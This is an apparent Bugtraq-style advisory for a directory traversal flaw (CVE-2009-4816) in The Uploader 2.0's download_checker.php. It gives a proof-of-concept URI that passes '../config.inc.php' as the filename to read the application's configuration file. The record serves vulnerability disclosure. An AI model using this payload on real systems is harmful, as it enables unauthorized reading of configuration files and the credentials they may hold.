The Uploader 'download_checker.php' Directory Traversal Vulnerability

BID:44121

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The Uploader 'download_checker.php' Directory Traversal Vulnerability

Bugtraq ID: 44121
Class: Input Validation Error
CVE: CVE-2009-4816
Remote: Yes
Local: No
Published: Dec 22 2009 12:00AM
Updated: Dec 22 2009 12:00AM
Credit: Stack
Vulnerable: The Uploader The Uploader 2.0
Not Vulnerable:

Exploit / POC

The Uploader 'download_checker.php' Directory Traversal Vulnerability

Attackers can exploit this issue through a browser.

The following example URI is available:

http://www.example.com/the_uploader/api/download_checker.php?filename=../config.inc.php

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